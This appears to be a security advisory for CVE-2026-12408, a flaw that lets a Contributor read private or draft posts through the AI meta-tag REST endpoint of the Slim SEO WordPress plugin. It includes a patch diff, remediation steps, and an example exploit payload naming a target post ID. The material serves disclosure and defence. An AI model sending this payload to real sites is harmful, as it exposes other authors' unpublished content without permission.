What is CVE-2026-12408?

CVE-2026-12408 is a medium-severity vulnerability in the Slim SEO plugin for WordPress, versions up to and including 4.9.8. It allows authenticated users with Contributor-level access or higher to read the content of private, draft, pending, future, and password-protected posts via the plugin’s REST API endpoint.

How does the vulnerability work?

The vulnerability exists in the `/wp-json/slim-seo/meta-tags/ai` REST API endpoint. The permission callback only checks if the user has the `edit_posts` capability, but does not verify that the user can access the specific post supplied via the `object.ID` parameter. The endpoint then passes the post ID to `get_post()` without checking post status or ownership, returning an AI-generated summary that discloses the post content.

Who is affected by this vulnerability?

Any WordPress site running Slim SEO version 4.9.8 or earlier is affected if it has authenticated users with Contributor, Author, Editor, or Administrator roles. Sites with only Subscriber-level users are not directly exploitable, but any user with `edit_posts` capability can exploit it.

How can I check if my site is vulnerable?

Check the Slim SEO plugin version in the WordPress admin dashboard under Plugins. If the version is 4.9.8 or lower, your site is vulnerable. You can also verify by reviewing the file `slim-seo/src/MetaTags/AI.php` for the permission callback that only checks `current_user_can( ‘edit_posts’ )`.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, which is classified as Medium severity. This reflects the requirement for authentication (Contributor+), but the potential for unauthorized disclosure of private content across multiple posts increases the practical risk.

How do I fix this vulnerability?

Update the Slim SEO plugin to version 4.9.9 or later. The patch adds a proper capability check using `current_user_can( ‘edit_post’, $post_id )` to verify the user has access to the specific post, and hides the endpoint from REST API discovery.

What if I cannot update the plugin immediately?

As a temporary workaround, you can disable the Slim SEO plugin or restrict access to the REST API endpoint by adding custom code to block requests to `/wp-json/slim-seo/meta-tags/ai` for non-admin users. However, updating to the patched version is the recommended solution.

How does the proof of concept demonstrate the issue?

The proof of concept authenticates as a Contributor-level user, then sends a POST request to the vulnerable endpoint with a JSON payload containing the target post ID. The response includes an AI-generated summary that reveals the content of private or draft posts, confirming unauthorized access.

What is the root cause in the code?

The root cause is in `slim-seo/src/MetaTags/AI.php` where the `permission_callback` only checks `current_user_can( ‘edit_posts’ )` without verifying the specific post ID. The `generate` function then passes the attacker-controlled ID to `Data::get_post_content()`, which calls `get_post()` without any access control.

Does this vulnerability affect other Slim SEO features?

No, this vulnerability is limited to the AI meta tags generation endpoint. Other Slim SEO features are not affected. The patch specifically addresses the missing authorization check in the AI endpoint.

What should I do if I suspect my site was exploited?

If you suspect exploitation, immediately update the plugin to version 4.9.9, review server logs for unusual requests to `/wp-json/slim-seo/meta-tags/ai`, and check for unauthorized access to private posts. Consider rotating user credentials and auditing user roles for unnecessary Contributor+ accounts.

Published : June 30, 2026

CVE-2026-12408: Slim SEO <= 4.9.8 Authenticated (Contributor+) Insufficient Authorization to Private Content Disclosure via 'object.ID' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-12408

Plugin slim-seo

Severity Medium (CVSS 4.3)

CWE 200

Vulnerable Version 4.9.8

Patched Version 4.9.9

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12408:
This vulnerability allows authenticated attackers with Contributor-level access to disclose the content of private, draft, pending, future, and password-protected posts via the Slim SEO plugin’s REST API endpoint. The flaw affects versions up to and including 4.9.8. The vulnerability has a CVSS score of 4.3 (Medium).

The root cause lies in the `permission_callback` for the `/wp-json/slim-seo/meta-tags/ai` REST API endpoint, defined in `/slim-seo/src/MetaTags/AI.php` (lines 18-22). The callback only performs a top-level `current_user_can( ‘edit_posts’ )` check to verify the user has Contributor capabilities. It does not validate that the requesting user has read or edit access to the specific post identified by the `object.ID` parameter. The `generate` function at line 45 passes the attacker-controlled `$object[‘ID’]` directly to `Data::get_post_content()` which calls `get_post()` without verifying post status or ownership. This means any user with `edit_posts` capability can access the content of any post, regardless of its publication status or author.

To exploit this vulnerability, an attacker with a Contributor account sends an authenticated POST request to `/wp-json/slim-seo/meta-tags/ai`. The attacker supplies a JSON body with an `object` parameter containing a `type` of ‘post’ and an `ID` set to the target post’s ID. The endpoint returns an AI-generated summary of the post content, effectively disclosing the raw content of protected posts. Example payload: `{“object”:{“type”:”post”,”ID”:123},”type”:”title”}` where 123 is the ID of a private or draft post.

The patch in version 4.9.9 modifies the `generate` function in `slim-seo/src/MetaTags/AI.php` (lines 54-62). The fix adds a validation check: after extracting the post ID, it verifies `current_user_can( ‘edit_post’, $post_id )`. This capability check ensures the user has the ‘edit_post’ capability specifically for the target post, which includes ownership or appropriate permissions. The patch also adds `’show_in_index’ => false` to the route registration arguments to hide the endpoint from REST API discovery.

The impact is unauthorized disclosure of private content. An attacker with Contributor access can read the full content of any post on the site, including private posts, drafts, pending reviews, scheduled posts, and password-protected content authored by other users. This violates the WordPress content privacy model and can lead to exposure of sensitive business information, unpublished product details, or confidential data stored in post content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/slim-seo/js/build/meta-tags.asset.php
+++ b/slim-seo/js/build/meta-tags.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '2ac7a8049ca80912cd62');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => 'ba9f9570dae870391040');
--- a/slim-seo/js/build/single.asset.php
+++ b/slim-seo/js/build/single.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => 'eef40a2f71c4eaea0a70');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '1ad5b9cd3d9b785044fd');
--- a/slim-seo/slim-seo.php
+++ b/slim-seo/slim-seo.php
@@ -5,7 +5,7 @@
  * Description: A fast and automated SEO plugin for WordPress.
  * Author:      Slim SEO
  * Author URI:  https://wpslimseo.com/?utm_source=plugin_links&utm_medium=link&utm_campaign=slim_seo
- * Version:     4.9.8
+ * Version:     4.9.9
  * License:     GPL v3
  *
  * Copyright (C) 2010-2025 Tran Ngoc Tuan Anh. All rights reserved.
@@ -32,7 +32,7 @@
 define( 'SLIM_SEO_URL', plugin_dir_url( __FILE__ ) );
 define( 'SLIM_SEO_REDIRECTS', 'ss_redirects' );
 define( 'SLIM_SEO_DELETE_404_LOGS_ACTION', 'delete_404_logs' );
-define( 'SLIM_SEO_VER', '4.9.8' );
+define( 'SLIM_SEO_VER', '4.9.9' );
 define( 'SLIM_SEO_DB_VER', 2 );

 require __DIR__ . '/vendor/autoload.php';
--- a/slim-seo/src/Integrations/ACF/Renderer.php
+++ b/slim-seo/src/Integrations/ACF/Renderer.php
@@ -13,7 +13,7 @@
 	}

 	public function __get( $name ) {
-		$field = $this->field_objects[ $name ] ?: null;
+		$field = $this->field_objects[ $name ] ?? null;

 		if ( ! $field ) {
 			return null;
--- a/slim-seo/src/Integrations/SenseiLMS.php
+++ b/slim-seo/src/Integrations/SenseiLMS.php
@@ -11,8 +11,8 @@
 	}

 	/**
-	 * Don't parse AffiliateWP shortcodes for meta description.
-	 * @link https://affiliatewp.com/doc-categories/shortcodes/
+	 * Don't parse Sensei LMS shortcodes for meta description.
+	 * @link https://senseilms.com/documentation/shortcodes/
 	 */
 	public function skip_shortcodes( $shortcodes ) {
 		$shortcodes = array_merge( $shortcodes, [
--- a/slim-seo/src/MetaTags/AI.php
+++ b/slim-seo/src/MetaTags/AI.php
@@ -16,6 +16,7 @@

 	public function register_routes(): void {
 		register_rest_route( 'slim-seo', 'meta-tags/ai', [
+			'show_in_index'       => false,
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'generate' ],
 			'permission_callback' => function () {
@@ -24,6 +25,7 @@
 		] );

 		register_rest_route( 'slim-seo', 'ai/models', [
+			'show_in_index'       => false,
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => [ $this, 'get_models' ],
 			'permission_callback' => function () {
@@ -52,7 +54,13 @@
 		$type           = $request->get_param( 'type' ) === 'description' ? 'description' : 'title';

 		if ( 'post' === ( $object['type'] ?? '' ) ) {
-			$content = Data::get_post_content( $object['ID'] ?? 0, $content );
+			$post_id = (int) ( $object['ID'] ?? 0 );
+
+			if ( $post_id <= 0 || ! current_user_can( 'edit_post', $post_id ) ) {
+				return $this->response( __( 'You are not allowed to generate meta tags for this post.', 'slim-seo' ) );
+			}
+
+			$content = Data::get_post_content( $post_id, $content );
 		}

 		// Preprocess content: strip HTML, normalize whitespace, limit length
@@ -192,7 +200,7 @@
 		// Validate model - use default if empty
 		if ( empty( $model ) ) {
 			$models = $provider_obj->get_models();
-			$model  = $models[0]['value'] ?? '';
+			$model  = $models[0] ?? '';
 		}

 		if ( empty( $model ) ) {
--- a/slim-seo/src/MetaTags/AiProviders/Anthropic.php
+++ b/slim-seo/src/MetaTags/AiProviders/Anthropic.php
@@ -33,20 +33,16 @@
 		return $response['content'][0]['text'] ?? '';
 	}

+	/**
+	 * @link https://platform.claude.com/docs/en/about-claude/models/overview
+	 */
 	public function get_models(): array {
 		return [
-			[
-				'value' => 'claude-opus-4-6',
-				'label' => 'Claude Opus 4.6',
-			],
-			[
-				'value' => 'claude-sonnet-4-6',
-				'label' => 'Claude Sonnet 4.6',
-			],
-			[
-				'value' => 'claude-haiku-4-5',
-				'label' => 'Claude Haiku 4.5',
-			],
+			'claude-fable-5',
+			'claude-mythos-5',
+			'claude-opus-4-8',
+			'claude-sonnet-4-6',
+			'claude-haiku-4-5',
 		];
 	}
 }
--- a/slim-seo/src/MetaTags/AiProviders/Google.php
+++ b/slim-seo/src/MetaTags/AiProviders/Google.php
@@ -39,32 +39,18 @@
 		return $response['candidates'][0]['content']['parts'][0]['text'] ?? '';
 	}

+	/**
+	 * @link https://ai.google.dev/gemini-api/docs/models
+	 */
 	public function get_models(): array {
 		return [
-			[
-				'value' => 'gemini-3.1-pro-preview',
-				'label' => 'Gemini 3.1 Pro Preview',
-			],
-			[
-				'value' => 'gemini-3.1-flash-preview',
-				'label' => 'Gemini 3.1 Flash Preview',
-			],
-			[
-				'value' => 'gemini-3.1-flash-lite-preview',
-				'label' => 'Gemini 3.1 Flash Lite Preview',
-			],
-			[
-				'value' => 'gemini-2.5-pro',
-				'label' => 'Gemini 2.5 Pro',
-			],
-			[
-				'value' => 'gemini-2.5-flash',
-				'label' => 'Gemini 2.5 Flash',
-			],
-			[
-				'value' => 'gemini-2.5-flash-lite',
-				'label' => 'Gemini 2.5 Flash Lite',
-			],
+			'gemini-3.5-flash',
+			'gemini-3.1-pro-preview',
+			'gemini-3.1-flash-preview',
+			'gemini-3.1-flash-lite',
+			'gemini-2.5-pro',
+			'gemini-2.5-flash',
+			'gemini-2.5-flash-lite',
 		];
 	}
 }
--- a/slim-seo/src/MetaTags/AiProviders/OpenAI.php
+++ b/slim-seo/src/MetaTags/AiProviders/OpenAI.php
@@ -49,52 +49,23 @@
 		return implode( ' ', $texts );
 	}

+	/**
+	 * @link https://developers.openai.com/api/docs/models/all
+	 */
 	public function get_models(): array {
 		return [
-			[
-				'value' => 'gpt-5.4',
-				'label' => 'GPT-5.4',
-			],
-			[
-				'value' => 'gpt-5.4-mini',
-				'label' => 'GPT-5.4 Mini',
-			],
-			[
-				'value' => 'gpt-5.4-nano',
-				'label' => 'GPT-5.4 Nano',
-			],
-			[
-				'value' => 'gpt-5',
-				'label' => 'GPT-5',
-			],
-			[
-				'value' => 'gpt-5-mini',
-				'label' => 'GPT-5 Mini',
-			],
-			[
-				'value' => 'gpt-5-nano',
-				'label' => 'GPT-5 Nano',
-			],
-			[
-				'value' => 'gpt-4.1',
-				'label' => 'GPT-4.1',
-			],
-			[
-				'value' => 'gpt-4.1-mini',
-				'label' => 'GPT-4.1 Mini',
-			],
-			[
-				'value' => 'gpt-4.1-nano',
-				'label' => 'GPT-4.1 Nano',
-			],
-			[
-				'value' => 'gpt-4o',
-				'label' => 'GPT-4o',
-			],
-			[
-				'value' => 'gpt-4o-mini',
-				'label' => 'GPT-4o Mini',
-			],
+			'gpt-5.5',
+			'gpt-5.4',
+			'gpt-5.4-mini',
+			'gpt-5.4-nano',
+			'gpt-5',
+			'gpt-5-mini',
+			'gpt-5-nano',
+			'gpt-4.1',
+			'gpt-4.1-mini',
+			'gpt-4.1-nano',
+			'gpt-4o',
+			'gpt-4o-mini',
 		];
 	}
 }
--- a/slim-seo/src/MetaTags/AiProviders/OpenRouter.php
+++ b/slim-seo/src/MetaTags/AiProviders/OpenRouter.php
@@ -9,92 +9,33 @@
 		return 'https://openrouter.ai/api/v1/responses';
 	}

+	/**
+	 * @link https://openrouter.ai/models?input_modalities=text&categories=marketing/seo
+	 */
 	public function get_models(): array {
 		return [
-			[
-				'value' => 'openai/gpt-5.4',
-				'label' => 'OpenAI: GPT-5.4',
-			],
-			[
-				'value' => 'openai/gpt-5.4-mini',
-				'label' => 'OpenAI: GPT-5.4 Mini',
-			],
-			[
-				'value' => 'openai/gpt-5.4-nano',
-				'label' => 'OpenAI: GPT-5.4 Nano',
-			],
-			[
-				'value' => 'openai/gpt-5',
-				'label' => 'OpenAI: GPT-5',
-			],
-			[
-				'value' => 'openai/gpt-5-mini',
-				'label' => 'OpenAI: GPT-5 Mini',
-			],
-			[
-				'value' => 'openai/gpt-5-nano',
-				'label' => 'OpenAI: GPT-5 Nano',
-			],
-			[
-				'value' => 'openai/gpt-4.1',
-				'label' => 'OpenAI: GPT-4.1',
-			],
-			[
-				'value' => 'openai/gpt-4.1-mini',
-				'label' => 'OpenAI: GPT-4.1 Mini',
-			],
-			[
-				'value' => 'openai/gpt-4.1-nano',
-				'label' => 'OpenAI: GPT-4.1 Nano',
-			],
-			[
-				'value' => 'openai/gpt-4o',
-				'label' => 'OpenAI: GPT-4o',
-			],
-			[
-				'value' => 'openai/gpt-4o-mini',
-				'label' => 'OpenAI: GPT-4o Mini',
-			],
-			[
-				'value' => 'anthropic/claude-opus-4-6',
-				'label' => 'Anthropic: Claude Opus 4.6',
-			],
-			[
-				'value' => 'anthropic/claude-sonnet-4.6',
-				'label' => 'Anthropic: Claude Sonnet 4.6',
-			],
-			[
-				'value' => 'anthropic/claude-haiku-4-5',
-				'label' => 'Anthropic: Claude Haiku 4.5',
-			],
-			[
-				'value' => 'google/gemini-3.1-pro-preview',
-				'label' => 'Google: Gemini 3.1 Pro Preview',
-			],
-			[
-				'value' => 'google/gemini-3.1-flash-preview',
-				'label' => 'Google: Gemini 3.1 Flash Preview',
-			],
-			[
-				'value' => 'google/gemini-3.1-flash-lite-preview',
-				'label' => 'Google: Gemini 3.1 Flash Lite Preview',
-			],
-			[
-				'value' => 'google/gemini-2.5-pro',
-				'label' => 'Google: Gemini 2.5 Pro',
-			],
-			[
-				'value' => 'google/gemini-2.5-flash',
-				'label' => 'Google: Gemini 2.5 Flash',
-			],
-			[
-				'value' => 'google/gemini-2.5-flash-lite',
-				'label' => 'Google: Gemini 2.5 Flash Lite',
-			],
-			[
-				'value' => 'deepseek/deepseek-v3.2',
-				'label' => 'DeepSeek: DeepSeek V3.2',
-			],
+			'openai/gpt-5.5',
+			'openai/gpt-5.4',
+			'openai/gpt-5.4-mini',
+			'openai/gpt-5.4-nano',
+			'openai/gpt-5',
+			'openai/gpt-5-mini',
+			'openai/gpt-5-nano',
+			'openai/gpt-4.1',
+			'openai/gpt-4.1-mini',
+			'openai/gpt-4.1-nano',
+			'openai/gpt-4o',
+			'openai/gpt-4o-mini',
+			'anthropic/claude-opus-4-6',
+			'anthropic/claude-sonnet-4.6',
+			'anthropic/claude-haiku-4-5',
+			'google/gemini-3.1-pro-preview',
+			'google/gemini-3.1-flash-preview',
+			'google/gemini-3.1-flash-lite-preview',
+			'google/gemini-2.5-pro',
+			'google/gemini-2.5-flash',
+			'google/gemini-2.5-flash-lite',
+			'deepseek/deepseek-v3.2',
 		];
 	}
 }
--- a/slim-seo/src/MetaTags/BulkAI.php
+++ b/slim-seo/src/MetaTags/BulkAI.php
@@ -25,6 +25,7 @@

 	public function register_routes(): void {
 		register_rest_route( self::REST_NS, 'bulk-ai/chunk', [
+			'show_in_index'       => false,
 			'methods'             => WP_REST_Server::CREATABLE,
 			'callback'            => [ $this, 'process_chunk' ],
 			'permission_callback' => fn () => current_user_can( 'manage_options' ),
--- a/slim-seo/src/MetaTags/Data.php
+++ b/slim-seo/src/MetaTags/Data.php
@@ -51,7 +51,7 @@
 		];
 	}

-	private function get_user_data() {
+	private function get_user_data(): array {
 		return $this->get_user( get_current_user_id() );
 	}

@@ -65,7 +65,7 @@
 		return empty( $post ) ? [] : $this->get_user( $post->post_author );
 	}

-	private function get_user( $user_id ) {
+	private function get_user( $user_id ): array {
 		$user = get_userdata( $user_id );
 		if ( ! $user ) {
 			return [];
--- a/slim-seo/src/MetaTags/Description.php
+++ b/slim-seo/src/MetaTags/Description.php
@@ -73,7 +73,7 @@

 		$post_type = get_post_type( $post_id );

-		// Use post type settings if avaiable, then fallback to the post auto description
+		// Use post type settings if available, then fallback to the post auto description
 		return Option::get( "$post_type.description", self::DEFAULTS['post'] );
 	}

@@ -106,7 +106,7 @@
 			return '';
 		}

-		// Use taxonomy settings if avaiable, then fallback to the term auto description
+		// Use taxonomy settings if available, then fallback to the term auto description
 		return Option::get( "{$term->taxonomy}.description", self::DEFAULTS['term'] );
 	}

@@ -124,7 +124,7 @@
 	}

 	private function get_author_value(): string {
-		// Use author settings if avaiable, then fallback to the author auto description
+		// Use author settings if available, then fallback to the author auto description
 		return Option::get( 'author.description', self::DEFAULTS['author'] );
 	}

--- a/slim-seo/src/MetaTags/Helper.php
+++ b/slim-seo/src/MetaTags/Helper.php
@@ -75,6 +75,7 @@
 			'gravityview',
 			'civicrm',
 			'contact-form-7',
+			'fluent_cart_customer_profile',

 			// Filter everything.
 			'fe_widget',
--- a/slim-seo/src/MetaTags/Image.php
+++ b/slim-seo/src/MetaTags/Image.php
@@ -4,6 +4,7 @@
 defined( 'ABSPATH' ) || die;

 use WP_Term;
+use WP_Post;
 use SlimSEOHelpersImages;
 use SlimSEOHelpersOption;

@@ -37,22 +38,15 @@
 		// Get from settings.
 		$option = get_option( 'slim_seo', [] );
 		$post   = $this->get_queried_object();
-		if ( empty( $post ) ) {
+		if ( ! ( $post instanceof WP_Post ) ) {
 			return [];
 		}
 		if ( isset( $option[ $post->post_type ][ $this->meta_key ] ) ) {
 			return $this->get_from_settings( $option[ $post->post_type ][ $this->meta_key ] );
 		}

-		// Get from thumbnail or content.
-		$images = Images::get_post_images( $this->get_queried_object() );
-		if ( empty( $images ) ) {
-			return [];
-		}
-
-		$first_image = reset( $images );
-		$method      = is_numeric( $first_image ) ? 'get_data' : 'get_data_from_url';
-		return $this->$method( $first_image );
+		// Get from thumbnail.
+		return has_post_thumbnail() ? $this->get_data( get_post_thumbnail_id() ) : [];
 	}

 	private function get_term_value(): array {
--- a/slim-seo/src/MetaTags/OpenGraph.php
+++ b/slim-seo/src/MetaTags/OpenGraph.php
@@ -76,8 +76,11 @@
 		return $this->get_image_attribute( 'alt' );
 	}

-	private function get_image_attribute( $key ) {
-		$image = $this->image_obj->get_value() ?: $this->get_default_image();
+	private function get_image_attribute( string $key ) {
+		static $image = null;
+		if ( $image === null ) {
+			$image = $this->image_obj->get_value() ?: $this->get_default_image();
+		}
 		return $image[ $key ] ?? null;
 	}

--- a/slim-seo/src/MetaTags/Settings/Preview.php
+++ b/slim-seo/src/MetaTags/Settings/Preview.php
@@ -22,24 +22,28 @@
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'render_post_title' ],
 			'permission_callback' => [ $this, 'can_edit_post' ],
+			'show_in_index'       => false,
 		] );

 		register_rest_route( 'slim-seo', self::ROUTE_PREFIX . 'term-title', [
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'render_term_title' ],
 			'permission_callback' => [ $this, 'can_edit_term' ],
+			'show_in_index'       => false,
 		] );

 		register_rest_route( 'slim-seo', self::ROUTE_PREFIX . 'post-description', [
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'render_post_description' ],
 			'permission_callback' => [ $this, 'can_edit_post' ],
+			'show_in_index'       => false,
 		] );

 		register_rest_route( 'slim-seo', self::ROUTE_PREFIX . 'term-description', [
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'render_term_description' ],
 			'permission_callback' => [ $this, 'can_edit_term' ],
+			'show_in_index'       => false,
 		] );

 		// Render text for homepage title and description.
@@ -47,6 +51,7 @@
 			'methods'             => WP_REST_Server::EDITABLE,
 			'callback'            => [ $this, 'render_homepage_text' ],
 			'permission_callback' => [ $this, 'can_edit_homepage' ],
+			'show_in_index'       => false,
 		] );
 	}

--- a/slim-seo/src/Notification.php
+++ b/slim-seo/src/Notification.php
@@ -88,7 +88,7 @@
 	}

 	private function get_ssl_message() {
-		if ( ! is_ssl() && ! 'local' === wp_get_environment_type() ) {
+		if ( ! is_ssl() && 'local' !== wp_get_environment_type() ) {
 			$this->messages[] = sprintf( __( 'Your website does not use HTTPS. Please upgrade your host to fix this.', 'slim-seo' ), admin_url( 'options-reading.php' ) );
 		}
 	}
--- a/slim-seo/src/Redirection/Api/Log404.php
+++ b/slim-seo/src/Redirection/Api/Log404.php
@@ -19,29 +19,23 @@
 			return;
 		}

-		register_rest_route( 'slim-seo-redirection', 'records/total', [
+		$args = [
 			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'total' ],
 			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'records/list', [
-			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'list' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'records/delete', [
-			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'delete' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'records/delete-all', [
-			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'delete_all' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+			'show_in_index'       => false,
+		];
+		register_rest_route( 'slim-seo-redirection', 'records/total', array_merge( $args, [
+			'callback' => [ $this, 'total' ],
+		] ) );
+		register_rest_route( 'slim-seo-redirection', 'records/list', array_merge( $args, [
+			'callback' => [ $this, 'list' ],
+		] ) );
+		register_rest_route( 'slim-seo-redirection', 'records/delete', array_merge( $args, [
+			'callback' => [ $this, 'delete' ],
+		] ) );
+		register_rest_route( 'slim-seo-redirection', 'records/delete-all', array_merge( $args, [
+			'callback' => [ $this, 'delete_all' ],
+		] ) );
 	}

 	public function total(): int {
--- a/slim-seo/src/Redirection/Api/Redirects.php
+++ b/slim-seo/src/Redirection/Api/Redirects.php
@@ -15,41 +15,38 @@
 	}

 	public function register_routes() {
-		register_rest_route( 'slim-seo-redirection', 'redirects', [
+		$args = [
 			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'get_redirects' ],
 			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+			'show_in_index'       => false,
+		];

-		register_rest_route( 'slim-seo-redirection', 'exists', [
-			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'exists' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'update_redirect', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'update_redirect' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'delete_redirects', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'delete_redirects' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'reorder_redirects', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'reorder_redirects' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
-
-		register_rest_route( 'slim-seo-redirection', 'posts', [
-			'methods'             => WP_REST_Server::READABLE,
-			'callback'            => [ $this, 'get_posts' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+		register_rest_route( 'slim-seo-redirection', 'redirects', array_merge( $args, [
+			'callback' => [ $this, 'get_redirects' ],
+		] ) );
+
+		register_rest_route( 'slim-seo-redirection', 'exists', array_merge( $args, [
+			'callback' => [ $this, 'exists' ],
+		] ) );
+
+		register_rest_route( 'slim-seo-redirection', 'update_redirect', array_merge( $args, [
+			'methods'  => WP_REST_Server::EDITABLE,
+			'callback' => [ $this, 'update_redirect' ],
+		] ) );
+
+		register_rest_route( 'slim-seo-redirection', 'delete_redirects', array_merge( $args, [
+			'methods'  => WP_REST_Server::EDITABLE,
+			'callback' => [ $this, 'delete_redirects' ],
+		] ) );
+
+		register_rest_route( 'slim-seo-redirection', 'reorder_redirects', array_merge( $args, [
+			'methods'  => WP_REST_Server::EDITABLE,
+			'callback' => [ $this, 'reorder_redirects' ],
+		] ) );
+
+		register_rest_route( 'slim-seo-redirection', 'posts', array_merge( $args, [
+			'callback' => [ $this, 'get_posts' ],
+		] ) );
 	}

 	public function get_redirects(): array {
--- a/slim-seo/src/Redirection/ExportImport.php
+++ b/slim-seo/src/Redirection/ExportImport.php
@@ -19,18 +19,21 @@
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => [ $this, 'export' ],
 			'permission_callback' => [ $this, 'has_permission' ],
+			'show_in_index'       => false,
 		] );

 		register_rest_route( 'slim-seo-redirection', 'import', [
 			'methods'             => WP_REST_Server::CREATABLE,
 			'callback'            => [ $this, 'import' ],
 			'permission_callback' => [ $this, 'has_permission' ],
+			'show_in_index'       => false,
 		] );

 		register_rest_route( 'slim-seo-redirection', 'sample', [
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => [ $this, 'sample' ],
 			'permission_callback' => [ $this, 'has_permission' ],
+			'show_in_index'       => false,
 		] );
 	}

--- a/slim-seo/src/Settings/MetaTags/RestApi.php
+++ b/slim-seo/src/Settings/MetaTags/RestApi.php
@@ -10,29 +10,26 @@
 	}

 	public function register_routes(): void {
-		register_rest_route( 'slim-seo', 'meta-tags/option', [
+		$args = [
 			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'get_option' ],
 			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+			'show_in_index'       => false,
+		];
+		register_rest_route( 'slim-seo', 'meta-tags/option', array_merge( $args, [
+			'callback' => [ $this, 'get_option' ],
+		] ) );

-		register_rest_route( 'slim-seo', 'meta-tags/variables', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'get_variables' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+		register_rest_route( 'slim-seo', 'meta-tags/variables', array_merge( $args, [
+			'callback' => [ $this, 'get_variables' ],
+		] ) );

-		register_rest_route( 'slim-seo', 'meta-tags/image_variables', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'get_image_variables' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+		register_rest_route( 'slim-seo', 'meta-tags/image_variables', array_merge( $args, [
+			'callback' => [ $this, 'get_image_variables' ],
+		] ) );

-		register_rest_route( 'slim-seo', 'meta-tags/meta_keys', [
-			'methods'             => WP_REST_Server::EDITABLE,
-			'callback'            => [ $this, 'get_meta_keys' ],
-			'permission_callback' => [ $this, 'has_permission' ],
-		] );
+		register_rest_route( 'slim-seo', 'meta-tags/meta_keys', array_merge( $args, [
+			'callback' => [ $this, 'get_meta_keys' ],
+		] ) );
 	}

 	public function has_permission(): bool {
--- a/slim-seo/src/Settings/Settings.php
+++ b/slim-seo/src/Settings/Settings.php
@@ -76,9 +76,6 @@
 		wp_enqueue_script( 'slim-seo-settings-ai', SLIM_SEO_URL . 'js/settings-ai.js', [ 'wp-api-fetch' ], filemtime( SLIM_SEO_DIR . '/js/settings-ai.js' ), true );
 		wp_localize_script( 'slim-seo-settings-ai', 'ssAiSettings', [
 			'model' => Option::get( 'ai_model' ),
-			'text'  => [
-				'noModelsAvailable' => __( 'No models available', 'slim-seo' ),
-			],
 			'bulk'  => [
 				'running'  => __( 'Generating...', 'slim-seo' ),
 				'restFail' => __( 'Something went wrong. Please try again or check your server error log.', 'slim-seo' ),
--- a/slim-seo/src/Settings/tabs/social.php
+++ b/slim-seo/src/Settings/tabs/social.php
@@ -1,7 +1,7 @@
 <?php defined( 'ABSPATH' ) || die ?>

 <?php if ( $this->is_feature_active( 'open_graph' ) || $this->is_feature_active( 'twitter_cards' ) ) : ?>
-	<h3><?php esc_attr_e( 'Default Social Images', 'slim-seo' ); ?></h3>
+	<h3><?php esc_html_e( 'Default Social Images', 'slim-seo' ); ?></h3>
 	<p><?php esc_html_e( 'These images are used when the post/page being shared does not have featured image or social images set up.', 'slim-seo' ); ?></p>

 	<?php if ( $this->is_feature_active( 'open_graph' ) ) : ?>
@@ -43,7 +43,7 @@
 	<?php endif; ?>
 <?php endif; ?>

-<h3><?php esc_attr_e( 'Social Media Analytics', 'slim-seo' ); ?></h3>
+<h3><?php esc_html_e( 'Social Media Analytics', 'slim-seo' ); ?></h3>
 <p><?php esc_html_e( 'If you are using Facebook or X analytic tools, enter the details below. Omitting them has no effect on how a shared web page appears on a Facebook timeline or X feed.', 'slim-seo' ); ?></p>

 <div class="ef-control">
--- a/slim-seo/src/Settings/tabs/tools.php
+++ b/slim-seo/src/Settings/tabs/tools.php
@@ -21,9 +21,8 @@
